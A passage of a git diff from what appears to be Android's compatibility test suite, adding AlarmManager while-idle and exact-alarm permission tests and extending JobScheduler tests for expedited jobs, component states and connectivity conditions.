+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Random;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class WhileIdleAlarmsTest {
+    /**
+     * TODO (b/171306433): Add tests for the following:
+     *
+     * Pre-S apps can:
+     * - use setAlarmClock freely -- no temp-allowlist
+     * - use setExactAndAWI with 7 / hr quota with standby and temp-allowlist
+     * - use setInexactAndAWI with 7 / hr quota with standby-bucket "ACTIVE" and temp-allowlist
+     *
+     * S+ apps with permission can:
+     * - use setInexactAWI with low quota + standby and no temp-allowlist.
+     * - use setInexactAWI with whitelist if in the whitelist.
+     */
+    private static final String TAG = WhileIdleAlarmsTest.class.getSimpleName();
+
+    private static final int ALLOW_WHILE_IDLE_QUOTA = 5;
+    private static final long ALLOW_WHILE_IDLE_WINDOW = 10_000;
+    private static final int ALLOW_WHILE_IDLE_COMPAT_QUOTA = 3;
+
+    /**
+     * Waiting generously long for success because the system can sometimes be slow to
+     * provide expected behavior.
+     * A different and shorter duration should be used while waiting for no-failure, because
+     * even if the system is slow to fail in some cases, it would still cause some
+     * flakiness and get flagged for investigation.
+     */
+    private static final long DEFAULT_WAIT_FOR_SUCCESS = 30_000;
+
+    private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private final AlarmManager mAlarmManager = sContext.getSystemService(AlarmManager.class);
+    private final PowerWhitelistManager mWhitelistManager = sContext.getSystemService(
+            PowerWhitelistManager.class);
+
+    private final DeviceConfigStateHelper mDeviceConfigHelper = new DeviceConfigStateHelper(
+            DeviceConfig.NAMESPACE_ALARM_MANAGER);
+    private final Random mIdGenerator = new Random(6789);
+
+    @Rule
+    public TestWatcher mFailLoggerRule = new TestWatcher() {
+        @Override
+        protected void failed(Throwable e, Description description) {
+            Log.i(TAG, "Debugging info for failed test: " + description.getMethodName());
+            Log.i(TAG, SystemUtil.runShellCommand("dumpsys alarm"));
+            AlarmReceiver.dumpState();
+        }
+    };
+
+    @Before
+    @After
+    public void resetAppOp() throws IOException {
+        AppOpsUtils.reset(sContext.getOpPackageName());
+    }
+
+    @Before
+    public void updateAlarmManagerConstants() {
+        mDeviceConfigHelper.set("min_futurity", "0");
+        mDeviceConfigHelper.set("allow_while_idle_quota", String.valueOf(ALLOW_WHILE_IDLE_QUOTA));
+        mDeviceConfigHelper.set("allow_while_idle_compat_quota",
+                String.valueOf(ALLOW_WHILE_IDLE_COMPAT_QUOTA));
+        mDeviceConfigHelper.set("allow_while_idle_window", String.valueOf(ALLOW_WHILE_IDLE_WINDOW));
+    }
+
+    @Before
+    public void putDeviceToIdle() {
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+        SystemUtil.runShellCommand("cmd deviceidle force-idle deep");
+    }
+
+    @Before
+    public void enableChange() {
+        SystemUtil.runShellCommand("am compat enable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Enabled"));
+    }
+
+    @After
+    public void resetChanges() {
+        // This is needed because compat persists the overrides beyond package uninstall
+        SystemUtil.runShellCommand("am compat reset --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Reset"));
+    }
+
+    @After
+    public void removeFromWhitelists() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.removeFromWhitelist(sContext.getOpPackageName()));
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist -r "
+                + sContext.getOpPackageName());
+    }
+
+    @After
+    public void restoreBatteryState() {
+        SystemUtil.runShellCommand("cmd deviceidle unforce");
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+    }
+
+    @After
+    public void restoreAlarmManagerConstants() {
+        mDeviceConfigHelper.restoreOriginalValues();
+    }
+
+    private static void revokeAppOp() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_IGNORED);
+    }
+
+    private static PendingIntent getAlarmSender(int id, boolean quotaed) {
+        final Intent alarmAction = new Intent(AlarmReceiver.ALARM_ACTION)
+                .setClass(sContext, AlarmReceiver.class)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+                .putExtra(AlarmReceiver.EXTRA_ALARM_ID, id)
+                .putExtra(AlarmReceiver.EXTRA_QUOTAED, quotaed);
+        return PendingIntent.getBroadcast(sContext, 0, alarmAction,
+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+    }
+
+    @Test
+    public void hasPermissionByDefault() {
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    public void noPermissionWhenIgnored() throws IOException {
+        revokeAppOp();
+        assertFalse(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    public void hasPermissionWhenAllowed() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_ALLOWED);
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermission() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    private void whitelistTestApp() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermissionWithWhitelist() throws IOException {
+        revokeAppOp();
+        whitelistTestApp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    @Test
+    public void setAlarmClockWithPermission() throws Exception {
+        final long now = System.currentTimeMillis();
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(now,
+                    null);
+            mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setExactAwiWithoutPermissionOrWhitelist() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME, 0,
+                getAlarmSender(0, false));
+    }
+
+    @Test
+    public void setExactAwiWithoutPermissionWithWhitelist() throws Exception {
+        revokeAppOp();
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // This is the user whitelist, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test
+    public void setExactAwiWithPermissionAndWhitelist() throws Exception {
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // The user whitelist takes precedence, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    private static void reclaimQuota(int quotaToReclaim) {
+        final long eligibleAt = getNextEligibleTime(quotaToReclaim);
+        long now;
+        while ((now = SystemClock.elapsedRealtime()) < eligibleAt) {
+            try {
+                Thread.sleep(eligibleAt - now);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Thread interrupted while reclaiming quota!", e);
+            }
+        }
+    }
+
+    private static long getNextEligibleTime(int quotaToReclaim) {
+        long t = AlarmReceiver.getNthLastAlarmTime(ALLOW_WHILE_IDLE_QUOTA - quotaToReclaim + 1);
+        return t + ALLOW_WHILE_IDLE_WINDOW;
+    }
+
+    @Test
+    @Ignore("Flaky on cuttlefish")  // TODO (b/171306433): Fix and re-enable
+    public void setExactAwiWithPermissionWithoutWhitelist() throws Exception {
+        reclaimQuota(ALLOW_WHILE_IDLE_QUOTA);
+
+        int alarmId;
+        for (int i = 0; i < ALLOW_WHILE_IDLE_QUOTA; i++) {
+            final long trigger = SystemClock.elapsedRealtime() + 500;
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger,
+                    getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+            Thread.sleep(500);
+            assertTrue("Alarm " + alarmId + " not received",
+                    AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+        long now = SystemClock.elapsedRealtime();
+        final long nextTrigger = getNextEligibleTime(1);
+        assertTrue("Not enough margin to test reliably", nextTrigger > now + 5000);
+
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+        assertFalse("Alarm received when no quota", AlarmReceiver.waitForAlarm(alarmId, 5000));
+
+        now = SystemClock.elapsedRealtime();
+        if (now < nextTrigger) {
+            Thread.sleep(nextTrigger - now);
+        }
+        assertTrue("Alarm " + alarmId + " not received when back in quota",
+                AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+    }
+
+    private static void assertTempWhitelistState(boolean whitelisted) {
+        final String selfUid = String.valueOf(Process.myUid());
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist",
+                output -> (output.contains(selfUid) == whitelisted));
+    }
+
+    @Test
+    public void alarmClockGrantsWhitelist() throws Exception {
+        final int id = mIdGenerator.nextInt();
+        final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(
+                System.currentTimeMillis() + 100, null);
+        mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+
+    @Test
+    public void exactAwiGrantsWhitelist() throws Exception {
+        reclaimQuota(1);
+        final int id = mIdGenerator.nextInt();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                SystemClock.elapsedRealtime() + 100, getAlarmSender(id, true));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+}
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 7fcb613..22d8791 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBlobStoreTestCases",
     defaults: ["cts_defaults"],
@@ -112,4 +108,4 @@
     srcs: [
         "aidl/**/*.aidl",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/BlobStore/certs/Android.bp b/tests/BlobStore/certs/Android.bp
index cdeaa34..efae567 100644
--- a/tests/BlobStore/certs/Android.bp
+++ b/tests/BlobStore/certs/Android.bp
@@ -1,13 +1,3 @@
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 android_app_certificate {
   name: "cts-blob-helper-cert",
   certificate: "cts-blob-helper-cert",
diff --git a/tests/DropBoxManager/Android.bp b/tests/DropBoxManager/Android.bp
index 0c863cf..f13b0fe 100644
--- a/tests/DropBoxManager/Android.bp
+++ b/tests/DropBoxManager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDropBoxManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index 9465126..1f5488d 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsJobSchedulerTestCases",
     defaults: ["cts_defaults"],
@@ -34,6 +30,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     // sdk_version: "current",
     platform_apis: true,
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 0c7471f..b6f319b 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -25,6 +25,7 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index d81ead1..bb3433b 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -34,4 +34,9 @@
         <option name="runtime-hint" value="2m" />
         <option name="isolated-storage" value="false" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/JobScheduler/JobTestApp/Android.bp b/tests/JobScheduler/JobTestApp/Android.bp
index e1f3053..f77f784 100644
--- a/tests/JobScheduler/JobTestApp/Android.bp
+++ b/tests/JobScheduler/JobTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJobTestApp",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
index 6a521f1..31945f6 100644
--- a/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
+++ b/tests/JobScheduler/JobTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -36,6 +36,7 @@
     public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
     public static final String EXTRA_REQUIRE_NETWORK_ANY = PACKAGE_NAME
             + ".extra.REQUIRE_NETWORK_ANY";
+    public static final String EXTRA_AS_EXPEDITED = PACKAGE_NAME + ".extra.AS_EXPEDITED";
     public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
     public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
     public static final int JOB_INITIAL_BACKOFF = 10_000;
@@ -53,10 +54,15 @@
                 final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
                 final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
                 final boolean network = intent.getBooleanExtra(EXTRA_REQUIRE_NETWORK_ANY, false);
+                final boolean expedited = intent.getBooleanExtra(EXTRA_AS_EXPEDITED, false);
                 JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
                         .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
-                        .setOverrideDeadline(0)
                         .setImportantWhileForeground(allowInIdle);
+                if (expedited) {
+                    jobBuilder.setExpedited(expedited);
+                } else {
+                    jobBuilder.setOverrideDeadline(0);
+                }
                 if (network) {
                     jobBuilder = jobBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY);
                 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
index 964853c..8c188fc 100644
--- a/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/MockJobService.java
@@ -467,7 +467,9 @@
             mExecutedPermCheckWrite = permCheckWrite;
             mExecutedReceivedWork = receivedWork;
             mExecutedErrorMessage = errorMsg;
-            mLatch.countDown();
+            if (mLatch != null) {
+                mLatch.countDown();
+            }
         }
 
         private void notifyWaitingForStop() {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
index 0e69ea7..2ee1edd 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
@@ -31,9 +31,11 @@
 import android.os.Process;
 import android.os.SystemClock;
 import android.os.UserHandle;
+import android.provider.DeviceConfig;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
@@ -54,6 +56,7 @@
     JobScheduler mJobScheduler;
 
     Context mContext;
+    DeviceConfigStateHelper mDeviceConfigStateHelper;
 
     static final String MY_PACKAGE = "android.jobscheduler.cts";
 
@@ -104,6 +107,8 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
         kTestEnvironment.setUp();
         kTriggerTestEnvironment.setUp();
         mJobScheduler.cancelAll();
@@ -121,6 +126,7 @@
         SystemUtil.runShellCommand(getInstrumentation(),
                 "cmd jobscheduler reset-execution-quota -u current "
                         + kJobServiceComponent.getPackageName());
+        mDeviceConfigStateHelper.restoreOriginalValues();
 
         // The super method should be called at the end.
         super.tearDown();
@@ -154,7 +160,7 @@
     }
 
     // Note we are just using storage state as a way to control when the job gets executed.
-    void setStorageState(boolean low) throws Exception {
+    void setStorageStateLow(boolean low) throws Exception {
         mStorageStateChanged = true;
         String res;
         if (low) {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java
new file mode 100644
index 0000000..1bbc61e
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.app.job.JobInfo;
+import android.content.pm.PackageManager;
+
+/**
+ * Schedules jobs with various component-enabled states.
+ */
+public class ComponentConstraintTest extends BaseJobSchedulerTest {
+    private static final String TAG = "ComponentConstraintTest";
+    /** Unique identifier for the job scheduled by this suite of tests. */
+    private static final int COMPONENT_JOB_ID = ComponentConstraintTest.class.hashCode();
+
+    private JobInfo.Builder mBuilder;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mBuilder = new JobInfo.Builder(COMPONENT_JOB_ID, kJobServiceComponent);
+    }
+
+    public void testScheduleAfterComponentEnabled() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setOverrideDeadline(0).build());
+
+        assertTrue("Job with enabled service didn't fire.", kTestEnvironment.awaitExecution());
+    }
+
+    /*
+        Test intentionally disabled but kept here to acknowledge the case wasn't accidentally
+        forgotten. Historically, JobScheduler has thrown an exception when an app called schedule()
+        with a disabled service. That behavior cannot be changed easily.
+
+        public void testScheduleAfterComponentDisabled() throws Exception {
+            setJobServiceEnabled(false);
+            kTestEnvironment.setExpectedExecutions(0);
+            mJobScheduler.schedule(mBuilder.setOverrideDeadline(0).build());
+
+            assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+        }
+    */
+
+    public void testComponentDisabledAfterSchedule() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(0);
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(1000).setOverrideDeadline(2000).build());
+        setJobServiceEnabled(false);
+
+        assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+    }
+
+    public void testComponentDisabledAndReenabledAfterSchedule() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(1000).setOverrideDeadline(2000).build());
+
+        setJobServiceEnabled(false);
+        assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+
+        setJobServiceEnabled(true);
+        assertTrue("Job with enabled service didn't fire.", kTestEnvironment.awaitExecution());
+    }
+
+    private void setJobServiceEnabled(boolean enabled) {
+        final int state = enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
+                : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+        getContext().getPackageManager().setComponentEnabledSetting(
+                kJobServiceComponent, state, PackageManager.DONT_KILL_APP);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index faeb8f9..035247d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -15,9 +15,17 @@
  */
 package android.jobscheduler.cts;
 
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
+
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
+import android.app.job.JobParameters;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.LinkProperties;
@@ -29,10 +37,13 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
-import android.os.UserHandle;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
 import android.util.Log;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -73,6 +84,10 @@
     private boolean mInitialWiFiState;
     /** Track whether restrict background policy was enabled in case we turn it off. */
     private boolean mInitialRestrictBackground;
+    /** Track whether airplane mode was enabled in case we toggle it. */
+    private boolean mInitialAirplaneMode;
+    /** Track whether the restricted bucket was enabled in case we toggle it. */
+    private String mInitialRestrictedBucketEnabled;
 
     private JobInfo.Builder mBuilder;
 
@@ -97,7 +112,11 @@
         mInitialRestrictBackground = SystemUtil
                 .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
                 .contains("enabled");
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         setDataSaverEnabled(false);
+        mInitialAirplaneMode = isAirplaneModeOn();
+        setAirplaneMode(false);
     }
 
     @Override
@@ -107,9 +126,18 @@
         }
         mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
 
+        BatteryUtils.runDumpsysBatteryReset();
+
         // Restore initial restrict background data usage policy
         setDataSaverEnabled(mInitialRestrictBackground);
 
+        // Restore initial airplane mode status
+        setAirplaneMode(mInitialAirplaneMode);
+
+        // Restore initial restricted bucket setting.
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
         // Ensure that we leave WiFi in its previous state.
         if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
             try {
@@ -143,7 +171,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with unmetered constraint did not fire on WiFi.",
                 kTestEnvironment.awaitExecution());
@@ -164,7 +192,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on WiFi.",
                 kTestEnvironment.awaitExecution());
@@ -187,7 +215,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on WiFi.",
                 kTestEnvironment.awaitExecution());
@@ -208,7 +236,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
@@ -234,7 +262,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
@@ -260,7 +288,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
         assertTrue("Job with metered connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
     }
@@ -278,9 +306,9 @@
         mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
         mTestAppInterface.startAndKeepTestActivity();
 
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
         assertTrue("Job with metered connectivity constraint did not fire on mobile.",
                 mTestAppInterface.awaitJobStart(30_000));
 
@@ -291,6 +319,133 @@
                 mTestAppInterface.awaitJobStop(30_000));
     }
 
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when if an app is idle.
+     */
+    public void testExpeditedJobExecutes_IdleApp() throws Exception {
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Battery Saver is on.
+     */
+    public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+        if (!BatteryUtils.isBatterySaverSupported()) {
+            Log.d(TAG, "Skipping test that requires battery saver support");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        disconnectWifiToConnectToMobile();
